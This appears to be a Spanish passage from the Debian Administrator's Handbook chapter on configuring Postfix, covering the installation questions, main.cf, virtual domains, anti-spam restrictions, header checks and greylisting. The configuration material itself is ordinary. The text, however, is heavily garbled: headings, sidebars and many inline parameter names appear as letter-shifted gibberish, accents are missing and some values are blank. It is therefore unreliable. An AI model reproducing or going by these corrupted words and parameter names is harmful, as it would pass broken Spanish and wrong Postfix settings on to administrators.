TF QVFEF BQSFDJBS FO MBT EFDFOBT EF QHJOBT EF EPDVNFOUBDJO
http://www.exim.org/docs.html

 *OTUBMBDJO EF 1PTUGJY


El paquete postfix incluye el demonio SMTP principal. Otros paquetes (como postfix-ldap y postfixpgsql) aaden funcionalidad adicional, incluyendo el acceso a bases de datos. Slo debe instalarlos si sabe que los necesitar.
70-7&3 " -04
$*.*&/504
4.51

4.51 QSPUPDMP TFODJMMP EF USBOTGFSFODJB EF DPSSFP k4JNQMF .BJM 5SBOTGFS 1SP


UPDPM{
FT FM QSPUPDPMP RVF VUJMJ[BO MPT TFSWJEPSFT EF DPSSFP QBSB JOUFSDBNCJBS
Z FOSVUBS MPT DPSSFPT FMFDUSOJDPT

Durante la instalacin del paquete se realizan varias preguntas Debconf. Las respuestas permiten crear una primera versin del archivo de configuracin /etc/postfix/main.cf.
La primera pregunta es sobre el tipo de instalacin. Slamente dos de las respuestas propuestas
son relevantes en caso de tener un servidor conectado a Internet: Sitio de Internet e Internet
con smarthost. La primera es apropiada para un servidor que recibe correo entrante y enva el
correo saliente directamente a los destinatarios, y por lo tanto se adapta al caso del Falcot Corp.
La segunda es apropiada para un servidor que recibe correo de forma normal pero que enva



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

el correo saliente a travs de otro servidor SMTP intermedio el smarthost en lugar de


enviarlo directamente al servidor de los destinatarios. Esto es especialmente til para individuos
con una direccin IP dinmica puesto que muchos servidores de correo rechazan los mensajes
que vienen desde este tipo de direccin. En este caso, el smarthost es normalmente el servidor
SMTP del ISP que siempre suele estar configurado para aceptar los correos provenientes de sus
clientes y reenviarlos correctamente. Este tipo de instalacin (con un smarthost) tambin es til
para servidores que no estn conectados permanentemente a Internet puesto que impide tener
que gestionar una cola de mensajes no entregables que tienen que volver a ser enviados ms
tarde.

70$"#6-"3*0
*41

*41 FT MB TJHMB EF k1SPWFFEPS EF TFSWJDJPT EF *OUFSOFU{ k*OUFSOFU 4FSWJDF


1SPWJEFS{
 4F USBUB EF VOB FOUJEBE B NFOVEP VOB FNQSFTB DPNFSDJBM RVF
QSPQPSDJPOB DPOFYJPOFT EF *OUFSOFU Z MPT TFSWJDJPT CTJDPT BTPDJBEPT DPSSFP
FMFDUSOJDP OPUJDJBT FUD


La segunda pregunta es sobre el nombre completo de la mquina y se utiliza para generar las
direcciones de correo a partir de los nombres de usuario locales; el nombre completo de la
mquina se convierte en la parte de la direccin que sigue a la arroba (@). En el caso de Falcot, la respuesta debera ser NBJMGBMDPUDPN. Esta es la nica pregunta que se hace de forma
predeterminada, pero la configuracin que genera no es lo suficientemente completa para las
necesidades de Falcot, por lo que los administradores deben ejecutar dpkg-reconfigure para
poder personalizar ms parmetros.
Una de las preguntas adicionales pide los nombres de los dominios relacionados con la mquina.
La lista inicial incluye su nombre completo as como tambin algunos sinnimos de MPDBMIPTU,
pero el dominio principal GBMDPUDPN tiene que ser agregado de forma manual. En general se
deberan aadir todos los dominios para los que esta mquina debe ejercer como servidor MX;
en otras palabras, todos los dominios para los cuales el DNS anuncie que esta mquina aceptar correo. Esta informacin acaba siendo escrita en la variable NZEFTUJOBUJPO del archivo de
configuracin principal de Postfix /etc/postfix/main.cf.

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



'JHVSB 

&953"
$POTVMUB EF MPT SFHJTUSPT .9

3PM EFM SFHJTUSP %/4 .9 BM FOWJBS VO DPSSFP

$VBOEP OP FYJTUF VO SFHJTUSP .9 QBSB VO EPNJOJP FO %/4 FM TFSWJEPS EF


DPSSFP JOUFOUBS FOWJBS FM NFOTBKF B MB EJSFDDJO EFM FRVJQP EJSFDUBNFOUF VUJ
MJ[BOEP QBSB FMMP FM SFHJTUSP " P """" FO *1W


En algunos casos, la instalacin tambin puede preguntar desde qu redes se permitir enviar
correo a travs de la mquina. En la configuracin predeterminada, Postfix nicamente acepta
correos que provengan desde la propia mquina; normalmente agregar la red local. Los administradores de Falcot Corp aadieron la red  al valor predeterminado. Si no se
realiza esta pregunta durante la instalacin, la variable de configuracin correspondiente es
NZOFUXPSLT, tal y como puede verse en el ejemplo siguiente.
El correo local tambin puede ser entregado mediante procmail. Esta herramienta permite a
los usuarios clasificar su correo en funcin de reglas contenidas en su archivo ~/.procmailrc.
Despus de este paso, los administradores obtuvieron el siguiente archivo de configuracin; ser
usado en las siguientes secciones como punto de partida para agregar alguna funcionalidad adicional.
&KFNQMP 

"SDIJWP /etc/postfix/main.cf JOJDJBM

# Revise /usr/share/postfix/main.cf.dist para una versin completa


# y con comentarios
# Especfico a Debian: determine el nombre del archivo cuya
# primera lnea ser utilizada como nombre. El valor predeterminado



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

# en Debian es /etc/mailname.
#myorigin = /etc/mailname
smtpd_banner = $myhostname ESMTP $mail_name (Debian/GNU)
biff = no
# agragar .dominio es trabajo del MUA.
append_dot_mydomain = no
# Descomente la siguiente lnea para generar advertencias sobre
# correo demorado
#delay_warning_time = 4h
readme_directory = no
# Parmetros TLS
smtpd_tls_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem
smtpd_tls_key_file=/etc/ssl/private/ssl-cert-snakeoil.key
smtpd_use_tls=yes
smtpd_tls_session_cache_database = btree:${data_directory}/smtpd_scache
smtp_tls_session_cache_database = btree:${data_directory}/smtp_scache
# Revise /usr/share/doc/postfix/TLS_README.gz en el paquete postfix-doc
# para ms informacin sobre cmo habilitar SSL en el cliente smtp.
myhostname = mail.falcot.com
alias_maps = hash:/etc/aliases
alias_database = hash:/etc/aliases
myorigin = /etc/mailname
mydestination = mail.falcot.com, falcot.com, localhost.localdomain, localhost
relayhost =
mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128 192.168.0.0/16
mailbox_command = procmail -a "$EXTENSION"
mailbox_size_limit = 0
recipient_delimiter = +
inet_interfaces = all
inet_protocols = all

4&(63*%"%
$FSUJGJDBEPT 44- EF 4OBLF PJM

-PT DFSUJGJDBEPT TOBLF PJM BM JHVBM RVF MPT NFEJDBNFOUPT WFOEJEPT QPS DIBSMB
UBOFT TJO FTDSQVMPT FO MPT WJFKPT UJFNQPT QSPNPDJPOBEPT DPNP BDFJUF EF TFS
QJFOUF EF BI TV OPNCSF
OP UJFOFO BCTPMVUBNFOUF OJOHO WBMPS QVFTUP RVF
TF HFOFSBO EF GPSNB JEOUJDB FO UPEPT MPT TJTUFNBT %FCJBO DPO MB NJTNB QBSUF
kQSJWBEB{ %FCFO VUJMJ[BSTF FYDMVTJWBNFOUF QBSB QSVFCBT Z FM TFSWJDJP OPSNBM
EFCF VUJMJ[BS DFSUJGJDBEPT SFBMFT QVFEF HFOFSBSMPT VUJMJ[BEP FM QSPDFEJNJFOUP
EFTDSJQUP FO MB 4FDDJO  k*OGSBFTUSVDUVSB EF MMBWF QCMJDB FBTZSTB{
QHJOB 

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



 $POGJHVSBDJO EF EPNJOJPT WJSUVBMFT


El servidor de correo puede recibir correos dirigidos a otros dominios distintos del dominio
principal; estos dominios se conocen como dominios virtuales. En la mayora de los casos
en los que es as, los correos no se dirigen en ltima instancia a los usuarios locales. Postfix
proporciona dos caractersticas interesantes para gestionar dominios virtuales.
"5&/$*/
%PNJOJPT WJSUVBMFT Z
EPNJOJPT DBOOJDPT

/P TF EFCF IBDFS SFGFSFODJB B OJOHVOP EF MPT EPNJOJPT WJSUVBMFT FO MB WBSJBCMF


mydestination FTUB WBSJBCMF OJDBNFOUF DPOUJFOF MPT OPNCSFT EF MPT EPNJO
JPT kDBOOJDPT{ BTPDJBEPT EJSFDUBNFOUF DPO MB NRVJOB Z TVT VTVBSJPT MPDBMFT

"MJBT EF EPNJOJP WJSUVBM


Un alias de dominio virtual (virtual alias domain) nicamente contiene alias, es decir direcciones que nicamente reenvan los correos hacia otras direcciones.
Para habilitar un dominio de este tipo, agregue su nombre a la variable WJSUVBM@BMJBT@EPNBJOT
y establezca un archivo de traduccin de direcciones en la variable WJSUVBM@BMJBT@NBQT.
&KFNQMP  %JSFDUJWBT B BHSFHBS FO FM BSDIJWP /etc/postfix/main.cf

virtual_alias_domains = falcotsbrand.com
virtual_alias_maps = hash:/etc/postfix/virtual

El archivo /etc/postfix/virtual describe la traduccin con una sintaxis muy sencilla: cada
lnea contiene dos campos separados por espacios en blanco; el primer campo es el nombre del
alias y el segundo es una lista de direcciones a las que se redireccionan los correos. La sintaxis
especial !EPNJOJPDPN abarca todos los alias restantes en un dominio.
&KFNQMP 

"SDIJWP /etc/postfix/virtual EF FKFNQMP

webmaster@falcotsbrand.com jean@falcot.com
contact@falcotsbrand.com
laure@falcot.com, sophie@falcot.com
# El alias siguiente es genrico y abarca todas las direcciones
# del dominio falcotsbrand.com que no estn incluidas explcitamente
# en este archivo.
# Estas direcciones reenvan el correo al usuario con el mismo nombre
# pero del dominio falcot.com
@falcotsbrand.com
@falcot.com



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

$BTJMMBT EF EPNJOJP WJSUVBM


13&$"6$*/
%PNJOJP WJSUVBM
DPNCJOBEP

1PTUGJY OP QFSNJUF VUJMJ[BS FM NJTNP EPNJOJP FO virtual_alias_domains Z


virtual_mailbox_domains 4JO FNCBSHP DBEB EPNJOJP EF virtual_mailbox_
domains FT JODMVJEP JNQMDJUBNFOUF FO virtual_alias_domains MP RVF QFSNJUF
NF[DMBS BMJBT Z DBTJMMBT FO VO EPNJOJP WJSUVBM

Los mensajes dirigidos a una casilla de dominio virtual son almacenados en casillas que no estn
asignadas a un usuario local del sistema.
Activar una casilla de dominio virtual requiere agregar este dominio en la variable WJSUVBM@NBJMC
PY@EPNBJOT y hacer referencia a un archivo de asociacin de casillas en WJSUVBM@NBJMCPY@NBQT.
El parmetro WJSUVBM@NBJMCPY@CBTF contiene el directorio en el que se almacenarn todas las
casillas.
El parmetro WJSUVBM@VJE@NBQT (o WJSUVBM@HJE@NBQT respectivamente) hace referencia al
archivo que contiene la asociacin entre las direcciones de correo y el usuario de sistema (o
grupo respectivamente) dueo de la casilla correspondiente. Para lograr que todas las casillas pertenezcan al mismo usuario/grupo, la sintaxis TUBUJD asigna un UID/GID fijo (aqu el
valor 5000).
&KFNQMP  %JSFDUJWBT B BHSFHBS FO FM BSDIJWP /etc/postfix/main.cf
virtual_mailbox_domains = falcot.org
virtual_mailbox_maps = hash:/etc/postfix/vmailbox
virtual_mailbox_base = /var/mail/vhosts

Nuevamente, la sintaxis del archivo /etc/postfix/vmailbox es bastante directo: dos campos


separados con espacios en blanco. El primer campo es una direccin de correo en alguno de los
dominios virtuales y el segundo campo es la ubicacin de la casilla asociada (relativa al directorio especificado en virtual_mailbox_base). Si el nombre de la casilla finaliza con una barra (
), se almacenarn los correos en formato maildir; de lo contrario se utilizar el formato mbox
tradicional. El formato maildir utiliza un directorio completo para almacenar una casilla, cada
mensaje individual es almacenado en un archivo separado. Por el otro lado, en el formato mbox
se almacena toda la casilla en un archivo y cada lnea que comience con 'SPN ('SPN es seguido
por un espacio) indica el comienzo de un nuevo mensaje.
&KFNQMP 

&M BSDIJWP /etc/postfix/vmailbox

# Se almacena el correo de Jean como maildir, con


# un archivo por correo en un directorio dedicado
jean@falcot.org falcot.org/jean/
# Se almacena el correo de Sophie en un archivo
# mbox tradicional con todos los correos
# en un solo archivo

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



sophie@falcot.org falcot.org/sophie

 3FTUSJDDJPOFT QBSB SFDJCJS Z FOWJBS


La cantidad creciente de correo masivo no solicitado (spam) hace necesario ser cada vez ms
estricto al decidir qu correos debe aceptar un servidor. Esta seccin presenta alguna de las
estrategias incluidas en Postfix.
$6-563"
&M QSPCMFNB EFM TQBN

k4QBN{ FT VO USNJOP HFOSJDP VUJMJ[BEP QBSB EFTJHOBS UPEP FM DPSSFP DPN


FSDJBM OP TPMJDJUBEP 6$& QPS TV TJHMBT FO JOHMT k6OTPMJDJUFE $PNNFSDJBM
&NBJMT{
RVF JOVOEBO OVFTUSBT DBTJMMBT FMFDUSOJDBT MPT JOEJWJEVPT TJO FT
DSQVMPT RVF MP FOWBO TPO DPOPDJEPT DPNP TQBNNFST 1PDP MFT JNQPSUBO MBT
NPMFTUJBT RVF DBVTBO ZB RVF FOWJBS VO DPSSFP DVFTUB NVZ QPDP Z TMP OFDFTJ
UBO BUSBFS DPO TVT PGFSUBT VO QPSDFOUBKF NVZ QFRVFP EF RVJFOFT MP SFDJCBO
QBSB RVF MB PQFSBDJO EF TQBN HFOFSF NT EJOFSP EF MP RVF DVFTUB &M QSPDFTP
FT NBZPSNFOUF BVUPNUJDP Z DVBMRVJFS EJSFDDJO EF DPSSFP RVF TFB QVCMJDBEB
QPS FKFNQMP FO VO GPSP XFC FO MPT DPNQFOEJPT EF VOB MJTUB EF DPSSFP FO VO
CMPH FUD
TFS EFTDVCJFSUB QPS MPT SPCPUT EF MPT TQBNNFST Z WDUJNB EF VO
GMVKP JOUFSNJOBCMF EF NFOTBKFT OP TPMJDJUBEPT
5PEPT MPT BENJOJTUSBEPSFT EF TJTUFNBT JOUFOUBO FOGSFOUBSTF B FTUB NPMFTUJB
DPO GJMUSPT EF TQBN QFSP QPS TVQVFTUP MPT TQBNNFST DPOUJOBO BEBQUOEPTF
QBSB FWJUBS FTUPT GJMUSPT "MHVOPT JODMVTJWF BMRVJMBO SFEFT EF NRVJOBT DPN
QSPNFUJEBT QPS BMHO HVTBOP EF WBSJPT TJOEJDBUPT DSJNJOBMFT a&TUBETUJDBT SF
DJFOUFT FTUJNBO RVF IBTUB VO   EF UPEPT MPT DPSSFPT DJSDVMBOEP FO *OUFSOFU
TPO TQBN

3FTUSJDDJPOFT EF BDDFTP CBTBEBT FO *1


La directiva TNUQE@DMJFOU@SFTUSJDUJPOT controla qu mquinas pueden comunicarse con el
servidor de correo.
&KFNQMP 

3FTUSJDDJPOFT CBTBEBT FO MB EJSFDDJO EFM DMJFOUF

smtpd_client_restrictions = permit_mynetworks,
warn_if_reject reject_unknown_client,
check_client_access hash:/etc/postfix/access_clientip,
reject_rbl_client sbl-xbl.spamhaus.org,
reject_rbl_client list.dsbl.org

Cuando una variable contiene una lista de reglas, como en el ejemplo anterior, estas reglas son
evaluadas en orden desde la primera hasta la ltima. Cada regla puede aceptar el mensaje, rechazarlo o dejar la decisin de qu hacer a reglas posteriores. Por lo tanto, el orden importa y
cambiar el orden en el que estn establecidas las reglas puede provocar un comportamiento
completamente diferente.



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

La directiva QFSNJU@NZOFUXPSLT, como primera regla, acepta todos los correos que provienen
de equipos en la red local (definida por la variable de configuracin mynetworks).
La segunda directiva normalmente rechazar correos que provienen de equipos sin una configuracin de DNS completamente vlida. Esta configuracin vlida significa que la direccin IP est
asociada a un nombre y que este nombre, adems, resuelve a dicha direccin IP. Generalmente,
esta restriccin es demasiado estricta ya que muchos servidores de correo no tienen un DNS inverso para su direccin IP. Esto explica porqu los administradores de Falcot agregaron el modificador XBSO@JG@SFKFDU antes de la directiva SFKFDU@VOLPXO@DMJFOU: este modificado convierte
el rechazo en una simple advertencia guardada en los registros. Los administradores pueden
revisar la cantidad de mensajes que hubiesen sido rechazados si esta regla hubiese sido aplicada
y luego tomar decisiones informadas si desean activarla.

46(&3&/$*"
5BCMBT BDDFTT

&M DSJUFSJP EF SFTUSJDDJO JODMVZF UBCMBT RVF QVFEFO TFS NPEJGJDBEBT QPS VO BE
NJOJTUSBEPS RVF DPOUJFOFO DPNCJOBDJPOFT EF SFNJUFOUF EJSFDDJO *1 Z OPN
CSFT EF FRVJQP QFSNJUJEPT P QSPIJCJEPT 1VFEF DSFBS FTUBT UBCMBT EFTEF VOB
DPQJB EFTDPNQSJNJEB EFM BSDIJWP /usr/share/doc/postfix-doc/examples/
access.gz &TUF NPEFMP FTU EPDVNFOUBEP FO TVT DPNFOUBSJPT MP RVF TJH
OJGJDB RVF DBEB UBCMB EFTDSJCF TV QSPQJB TJOUBYJT
-B UBCMB

/etc/postfix/access_clientip FOVNFSB EJSFDDJPOFT *1 Z SFEFT


/etc/postfix/access_helo FOVNFSB OPNCSFT EF EPNJOJP /etc/postfix/
access_sender DPOUJFOF EJSFDDJPOFT EF DPSSFP EF SFNJOUFOUFT /FDFTJUB DPO

WFSUJS UPEPT FTUPT BSDIJWPT FO kUBCMBT IBTI{ VO GPSNBUP PQUJNJ[BEP QBSB


BDDFTP SQJEP
MVFHP EF DBEB DBNCJP FKFDVUBOEP postmap /etc/postfix/
archivo

La tercera directiva permite al administrador definir listas negras y blancas de servidores de


correo, almacenadas en el archivo /etc/postfix/access_clientip. Se consideran confiables
aquellos servidores en la lista blanca y, por lo tanto, sus correos no pasarn por las siguientes
reglas de filtro.
Las ltimas dos reglas rechazan cualquier mensaje que provenga de un servidor incluido en
una de las listas negras indicadas. RBL es un acrnimo de Remote Black List (lista negra remota);
hay muchas de estas listas pero todas enumeran servidores mal configurados que los spammers
utilizan para redirigir sus correos as como tambin equipos inesperados como mquinas infectadas con algn gusano o virus.

46(&3&/$*"
-JTUBT CMBODBT Z 3#-T

-BT MJTUBT OFHSBT B WFDFT JODMVZFO VO TFSWJEPS MFHUJNP RVF IB TVGSJEP VO JO
DPWFOJFOUF &O FTUBT TJUVBDJPOFT TF SFDIB[BSO UPEPT MPT DPSSFPT RVF QSPWFO
HBO EF BMHVOP EF FTUPT TFSWJEPSFT B NFOPT RVF FM TFSWJEPS FTU JODMVJEP FO VOB
MJTUB CMBODB EFGJOJEB FO /etc/postfix/access_clientip
-B QSVEFODJB SFDPNJFOEB FOUPODFT JODMVJS FO MB MJTUB CMBODB UPEPT MPT TFSWJ
EPSFT DPOGJBCMFT EFTEF MPT RVF GSFDVFOUFNFOUF SFDJCJS NVDIPT DPSSFPT

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



3FWJTJO EF MB WBMJEF[ EF MBT SEFOFT &)-0 P )&-0


Cada intercambio SMTP comienza con la orden )&-0 (o &)-0) seguida del nombre del servidor
que enva el correo; puede ser interesante validar este nombre.
&KFNQMP 

3FTUSJDDJPOFT FO FM OPNCSF BOVODJBEP DPO &)-0

smtpd_helo_restrictions = permit_mynetworks,
reject_invalid_hostname,
check_helo_access hash:/etc/postfix/access_helo,
reject_non_fqdn_hostname,
warn_if_reject reject_unknown_hostname

La primera directiva QFSNJU@NZ@OFUXPSLT permite que todas las mquinas en la red local se
presenten libremente. Esto es importante ya que algunos programas de correo no respetan esta
parte del protocolo SMTP de forma suficientemente correcta y pueden presentarse a s mismos
con nombres sin sentido.
La regla SFKFDU@JOWBMJE@IPTUOBNF rechaza los correos cuando el anuncio &)-0 enumere
un nombre sintcticamente incorrecto. La regla SFKFDU@OPO@GREO@IPTUOBNF rechaza mensajes cuando el nombre anunciado no es un nombre de dominio completamente calificado (incluye un nombre de dominio as como tambin el nombre del equipo). La regla
SFKFDU@VOLPXO@IPTUOBNF rechaza los mensajes si el nombre anunciado no existe en su DNS.
Los administradores hicieron que los efectos de esta regla sean slo una advertencia con el modificador XBSO@JG@SFKFDU debido a que, lamentablemente, genera demasiados rechazos. Esto es
slo un primer paso, pueden decidir eliminar el modificador en el futuro luego de analizar los
resultados de esta regla.
Utilizar QFSNJU@NZOFUXPSLT como la primera regla tiene un efecto secundario interesante:
las reglas siguientes slo sern aplicadas a los equipos fuera de la red local. Esto permite rechazar todos los equipos que se anuncien a s mismos como parte de GBMDPUDPN, por ejemplo agregando una lnea GBMDPUDPN 3&+&$5 a/P FT QBSUF EF OVFTUSB SFE en el archivo
/etc/postfix/access_helo.

"DFQUBDJO P SFDIB[P CBTBEP FO FM SFNJUFOUF BOVODJBEP


Cada mensaje tiene un remitente anunciado con la orden ."*- '30. del protocolo SMTP;
nuevamente, puede validar esta informacin de varias formas.
&KFNQMP 

7FSJGJDBDJO EF SFNJUFOUF

smtpd_sender_restrictions =
check_sender_access hash:/etc/postfix/access_sender,
reject_unknown_sender_domain, reject_unlisted_sender,
reject_non_fqdn_sender



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

La tabla /etc/postfix/access_sender asocia algn tratamiento especial a algunos remitentes.


Esto generalmente significa enumerar algunos remitentes en una lista negra o blanca.
La regla SFKFDU@VOLOPXO@TFOEFS@EPNBJO requiere un remitente con dominio vlido, ya que es
necesario en una direccin vlida. La regla SFKFDU@VOMJTUFE@TFOEFS rechaza remitentes locales
si la direccin no existe; esto evita que se enven correos desde una direccin invlida en el
dominio GBMDPUDPN y los mensajes de KPFCMPHHT!GBMDPUDPN slo son aceptados si existe dicha
direccin.
Finalmente, la regla SFKFDU@OPO@GREO@TFOEFS rechaza los correos que dicen provenir de direcciones sin un nombre de dominio completamente calificado. En la prctica significa rechazar correos que provienen de VTVBSJP!FRVJQP: la direccin debe anunciarse como VTVBSJP!
FRVJQPFYBNQMFDPN o VTVBSJP!FYBNQMFDPN.

"DFQUBDJO P SFDIB[P CBTBEP FO FM SFDFQUPS


Cada correo tiene al menos un receptor, anunciado con la orden 3$15 50 en el protocolo SMTP.
Estas direcciones tambin requieren validacin, an si pueden ser menos relevantes que las
verificaciones realizadas en la direccin del remitente.
&KFNQMP 

7FSJGJDBDJO EF SFDFQUPS

smtpd_recipient_restrictions = permit_mynetworks,
reject_unauth_destination, reject_unlisted_recipient,
reject_non_fqdn_recipient

SFKFDU@VOBVUI@EFTUJOBUJPO es la regla bsica que requiere que los mensajes externos estn destinados a nosotros; se rechazarn los mensajes que sean enviados a una direccin que no sea
gestionada por este servidor. Sin esta regla, el servidor se convierte en una forma abierta de
reenvo que permite que los spammers enven correos no solicitados; por lo tanto esta regla es
obligatoria y preferentemente debe estar ubicada cerca del principio de la lista para evitar que
otras reglas autoricen el mensaje antes que se verifique su destino.
La regla SFKFDU@VOMJTUFE@SFDJQJFOU rechaza los mensajes enviados a usuarios locales que no existen, lo que tiene sentido. Finalmente, la regla SFKFDU@OPO@GREO@SFDJQJFOU rechaza direcciones
que no sean completamente calificadas; esto hace imposible enviar un correo a KFBO o KFBO!
FRVJQP y necesita, en cambio, utilizar la direccin completa como MJUFSBM!FRVJQPGBMDPUDPN o
KFBO!GBMDPUDPN.

3FTUSJDDJPOFT BTPDJBEBT DPO MB PSEFO %"5"


Se emite la orden %"5" en SMTP antes del contenido del mensaje. No provee ninguna informacin en s misma adems de anunciar lo que seguir. Todava puede ser sujeta a verificacin.

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



&KFNQMP 

7FSJGJDBDJO EF %"5"

smtpd_data_restrictions = reject_unauth_pipelining

Las directivas SFKFDU@VOBVUI@QJQFMJOJOH causa que se rechace el mensaje si el remitente enva


una orden antes que se enva la respuesta a la orden anterior. Esto previene una optimizacin
comn utilizada por los robots de spammers ya que no tienen el menor inters en las respuestas
y slo estn interesados en enviar tantos correos como sea posible en el menor tiempo posible.

*NQMFNFOUBDJO EF SFTUSJDDJPOFT
Si bien las rdenes anteriores validan la informacin en las varias etapas del intercambio SMTP,
Postfix slo enva el rechazo en s como respuesta a la orden 3$15 50.
Esto significa que an si se rechaza el mensaje debido a una orden &)-0 no vlida, Postfix
conoce el remitente y el receptor cuando anuncia un rechazo. Luego puede registrar un mensaje
ms explcito de lo que podra si se hubiera interrumpido la transaccin al comienzo. Adems,
una cantidad de clientes SMTP no esperan fallos en las primeras rdenes de SMTP y estos clientes
no se molestarn tanto por este rechazo tardo.
Una ventaja final de esta opcin es que las reglas pueden acumular informacin durante las
varias etapas del intercambio SMTP; esto permite definir permisos ms precisos, como rechazar
conexiones remotas si se anuncia como un remitente local.

'JMUSPT CBTBEPT FO FM DPOUFOJEP EFM NFOTBKF


El sistema de validacin y restriccin no estara completo sin una forma de realizar verificaciones en el contenido de los mensajes. Postfix diferencia las verificaciones en las cabeceras del
correo de aquellas sobre el cuerpo del mensaje.
&KFNQMP 

)BCJMJUBDJO EF GJMUSPT CBTBEPT FO DPOUFOJEP

header_checks = regexp:/etc/postfix/header_checks
body_checks = regexp:/etc/postfix/body_checks

Ambos archivos contienen una lista de expresiones regulares (normalmente conocidas como
regexps o regexes) y las acciones asociadas que se deben disparar cuando las cabeceras (o cuerpo)
del mensaje coincida con la expresin.
7*45" 31*%"
5BCMBT EF FYQSFTJPOFT
SFHVMBSFT kSFHFYQ{



&M MJCSP EFM BENJOJTUSBEPS EF %FCJBO

&M BSDIJWP /usr/share/doc/postfix-doc/examples/header_checks.gz DPO


UJFOF NVDIPT DPNFOUBSJPT FYQMJDBUJWPT Z QVFEF VUJMJ[BSMP DPNP QVOUP EF QBS
UJEB QBSB DSFBS MPT BSDIJWPT /etc/postfix/header_checks Z /etc/postfix/
body_checks

&KFNQMP 

"SDIJWP /etc/postfix/header_checks EF FKFNQMP

/^X-Mailer: GOTO Sarbacane/ REJECT I fight spam (GOTO Sarbacane)


/^Subject: *Your email contains VIRUSES/ DISCARD virus notification

70-7&3 " -04


$*.*&/504
&YQSFTJPOFT SFHVMBSFT

&M USNJOP FYQSFTJO SFHVMBS BDPSUBEP DPNP SFHFYQ P SFHFY


IBDF SFGFSFO
DJB B VOB OPUBDJO HFOSJDB QBSB FYQSFTBS VOB EFTDSJQDJO EFM DPOUFOJEP P
FTUSVDUVSB EF VOB DBEFOB EF DBSBDUFSFT "MHVOPT DBSBDUFSFT FTQFDJBMFT QFS
NJUFO EFGJOJS BMUFSOBUJWBT QPS FKFNQMP foo|bar DPJODJEJS UBOUP kGPP{ DP
NP kCBS{
DPOKVOUPT EF DBSBDUFSFT QFSNJUJEPT QPS FKFNQMP [0-9] TJHOJGJDB
DVBMRVJFS EHJUP Z . VO QVOUP TJHOJGJDB DVBMRVJFS DBSDUFS
DVBOUJGJDBEPSFT
s? DPJODJEJS UBOUP DPO s DPNP DPO MB DBEFOB WBDB FO PUSBT QBMBCSBT  P 
PDVSSFODJB EF s s+ DPJODJEJS DPO VOP P NT DBSBDUFSFT s DPOTFDVUJWPT FUD

-PT QBSOUFTJT QFSNJUFO BHSVQBS SFTVMUBEPT EF CTRVFEB
-B TJOUBYJT FYBDUB EF FTUBT FYQSFTJPOFT FT EJGFSFOUF FO DBEB IFSSBNJFOUB RVF
MBT VUJMJ[BO QFSP MBT DBSBDUFSTUJDBT CTJDBT TPO TJNJMBSFT
http://es.wikipedia.org/wiki/Expresin_regular

El primero revisa la cabecera que menciona el software de correo; si es (050 4BSCBDBOF (un
software en correo masivo), el mensaje es rechazado. La segunda expresin revisa el asunto del
mensaje; si menciona una notificacin de virus podemos decidir no rechazar el mensaje sino, en
cambio, descartarlo inmediatamente.
Utilizar estos filtros es un arma de doble filo ya que es sencillo crear reglas demasiado genricas
y, en consecuencia, perder correos legtimos. En estos casos, no slo se perdern los mensajes
sino que sus remitentes recibirn mensajes de error no deseados (y molestos).

 $POGJHVSBDJO EF kMJTUBT HSJTFT{ HSFZMJTUJOH

Las listas grises (greylisting) son una tcnica de filtrado en la inicialmente se rechaza un
mensaje con un cdigo de error temporal y slo es aceptado en un intento futuro luego de cierta
demora. Este filtro es particularmente eficiente contra el spam enviado por mquinas infectadas
con gusanos y virus ya que stos rara vez actan como agentes SMTP completos (revisando el
cdigo de error y reintentando luego mensajes fallados), especialmente debido a que muchas de
las direcciones recolectadas son invlidas y reintentarlas slo sera una prdida de tiempo.
Postfix no provee listas grises de forma nativa, pero posee una funcionalidad en la que la decisin
de aceptar o rechazar un mensaje dado puede ser delegada a un programa externo. El paquete
postgrey contiene dicho programa, diseado para interactuar con su servicio de delegacin de
polticas de acceso.
Una vez que instal postgrey, ste se ejecutar como un demonio que escucha en el puerto 10023.
Luego puede configurar postfix para utilizarlo si agrega el parmetro DIFDL@QPMJDZ@TFSWJDF como una restriccin adicional:

$BQUVMP  4FSWJDJPT EF SFE 1PTUGJY "QBDIF /'4 4BNCB 4RVJE -%"1



smtpd_recipient_restrictions = permit_mynetworks,
[...]
check_policy_service inet:127.0.0.1:10023

Cada vez que Postfix alcance esta regla, se conectar con el demonio postgrey y le enviar la
informacin del mensaje en cuestin. Por su parte, Postgrey considerar la terna compuesta
por la direccin IP, el remitente y el receptor y revisar en su base de datos si sta fue intentada
recientemente. En caso que as sea, Postgrey responder que el mensaje debe ser aceptado; de lo
contrario, la respuesta indicar que el mensaje deber ser rechazado temporalmente y agregar
la terna a su base de datos.
La principal desventaja de las listas grises es que demorar mensajes legtimos, lo que no siempre
es aceptable. Tambin aumenta la carga en los servidores que envan muchos correos legtimos.
&/ -" 13$5*$"
%FTWFOUBKBT EF MBT MJTUBT
HSJTFT

&O UFPSB MBT MJTUBT HSJTFT TMP EFCFSBO EFNPSBS FM QSJNFS DPSSFP EF VO SFNJ
UFOUF B VO SFDFQUPS QBSUJDVMBS Z MB EFNPSB UQJDB FT EFM PSEFO EF NJOVUPT -B
SFBMJEBE TJO FNCBSHP QVFEF TFS MJHFSBNFOUF EJGFSFOUF "MHVOPT *41T HSBOEFT
VUJMJ[BO DPOKVOUPT EF TFSWJEPSFT 4.51 Z DVBOEP FM NFOTBKF FT SFDIB[BEP JOJ
DJBMNFOUF FM TFSWJEPS RVF MP SFJOUFOUF QVFEF OP TFS FM NJTNP RVF FM RVF FOWJ
FM NFOTBKF JOJDJBM $VBOEP PDVSSF FTUP FM TFHVOEP TFSWJEPS UBNCJO SFDJCJS VO
FSSPS UFNQPSBM EFCJEP B MB MJTUB HSJT Z BT TVDFTJWBNFOUF QVFEF UPNBS WBSJBT
